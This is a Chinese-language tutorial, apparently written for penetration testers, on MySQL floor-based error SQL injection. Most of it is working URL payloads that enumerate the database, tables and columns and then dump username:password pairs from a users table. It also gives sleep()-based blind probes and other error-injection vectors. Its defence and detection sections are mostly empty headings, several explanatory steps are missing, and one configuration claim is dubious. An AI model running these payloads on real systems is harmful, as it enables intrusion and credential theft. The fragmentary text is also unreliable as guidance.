报错注入作为SQL注入技术中的重要分支,其本质是通过精心构造的SQL语句触发数据库报错,从而在错误信息中获取敏感数据。在众多报错注入方法中,floor报错注入因其稳定性和可预测性成为渗透测试人员的利器。
rand()函数在MySQL中用于生成0到1之间的随机小数,但当给定固定种子参数时(如rand(0)),它会生成一个伪随机序列。这个特性在floor报错注入中至关重要:
sql复制-- 普通随机模式(每次执行结果不同)
select rand();
-- 固定种子模式(每次执行序列相同)
select rand(0);
在实际测试中,rand(0)产生的序列前几位通常是:0.15522042769493574、0.620881741513388、0.638763455376777... 当乘以2并用floor取整后,会形成特定的0/1交替模式。
floor()函数执行向下取整操作,这是产生确定性序列的关键:
sql复制select floor(1.9); -- 结果为1
select floor(-1.9); -- 结果为-2
当与rand(0)*2结合使用时,会生成可预测的二进制序列。例如rand(0)*2的序列前几位取整后为:0,1,1,0,1...
concat_ws()函数用第一个参数作为分隔符连接后续参数,相比普通concat更安全(自动处理NULL值):
sql复制-- 基本用法
select concat_ws('-','a','b','c'); -- 输出'a-b-c'
-- 注入中常用形式
select concat_ws('-',(select database()),floor(rand(0)*2));
报错的核心在于MySQL处理GROUP BY时的特殊机制:
具体执行流程示例(假设表有3行数据):
第一行计算:concat_ws('-',db_name,floor(rand(0)*2)) → 'mydb-0'
第二行计算:→ 'mydb-1'
第三行计算:
关键点:使用rand(0)而非rand()是为了确保序列可重现,这是稳定触发报错的前提条件。
在进行注入前,需要确认目标存在注入漏洞。典型测试步骤:
判断注入点类型:
sql复制?id=1' and 1=1--+ //正常显示
?id=1' and 1=2--+ //无结果显示
确定字段数(使用order by):
sql复制?id=1' order by 3--+ //逐步增加直到报错
确认显示位(union select):
sql复制?id=-1' union select 1,2,3--+
sql复制?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+
注意事项:
information_schema.tables确保足够数据量触发报错sql复制?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+
常见问题处理:
sql复制select table_name from information_schema.tables where table_schema=database() limit 0,1
sql复制?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+
对于大字段数据,必须使用分页查询:
sql复制-- 获取第一条记录
?id=-1' union select 1,count(*),concat_ws('-',(select concat(username,':',password) from users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x--+
-- 获取后续记录(递增limit参数)
limit 1,1
limit 2,1
处理数据截断:
sql复制select substring((select password from users limit 0,1),1,10)
绕过过滤:
性能优化:
代码层防护:
数据库配置:
sql复制-- 禁用错误详情泄露
[mysqld]
secure-file-priv = NULL
log_error_verbosity = 1
WAF规则:
管理员可通过以下特征识别floor报错注入尝试:
SQL日志特征:
错误模式识别:
流量分析:
| 技术类型 | 触发函数 | 成功率 | 信息泄露方式 |
|---|---|---|---|
| Floor报错 | floor+rand+group by | 高 | 完整错误信息 |
| Extractvalue | extractvalue(1,payload) | 中 | XPATH错误 |
| Updatexml | updatexml(1,payload,1) | 中 | XPATH错误 |
| Bigint溢出 | exp(710) | 低 | 数值计算错误 |
JSON报错注入:
sql复制select json_overlaps(cast(concat('[',(select database()),']') as json),'[]');
几何函数报错:
sql复制select st_pointfromtext(concat('point(',(select database()),' 1)'));
CTE递归报错:
sql复制with recursive cte as (select 1 union select * from cte) select * from cte;
问题1:注入语句未触发报错
问题2:返回信息被截断
问题3:特殊字符显示异常
sql复制select hex(cast(user() as char))
sql复制select to_base64(cast(user() as char))
缓存利用:
sql复制-- 首次查询存储表名
set @tbl=(select table_name from information_schema.tables where table_schema=database() limit 0,1);
-- 后续查询直接引用变量
select column_name from information_schema.columns where table_name=@tbl;
并行探测:
sql复制-- 使用条件判断加速探测
select if(substring(user(),1,1)='r',sleep(2),1)
二进制搜索:
sql复制-- 快速定位字符串长度
select if(length(database())>10,sleep(1),1)
在实际渗透测试中,floor报错注入的成功率约为70-80%,相比布尔盲注效率更高,但相比时间盲注更易被WAF检测。建议根据目标环境灵活组合多种技术手段。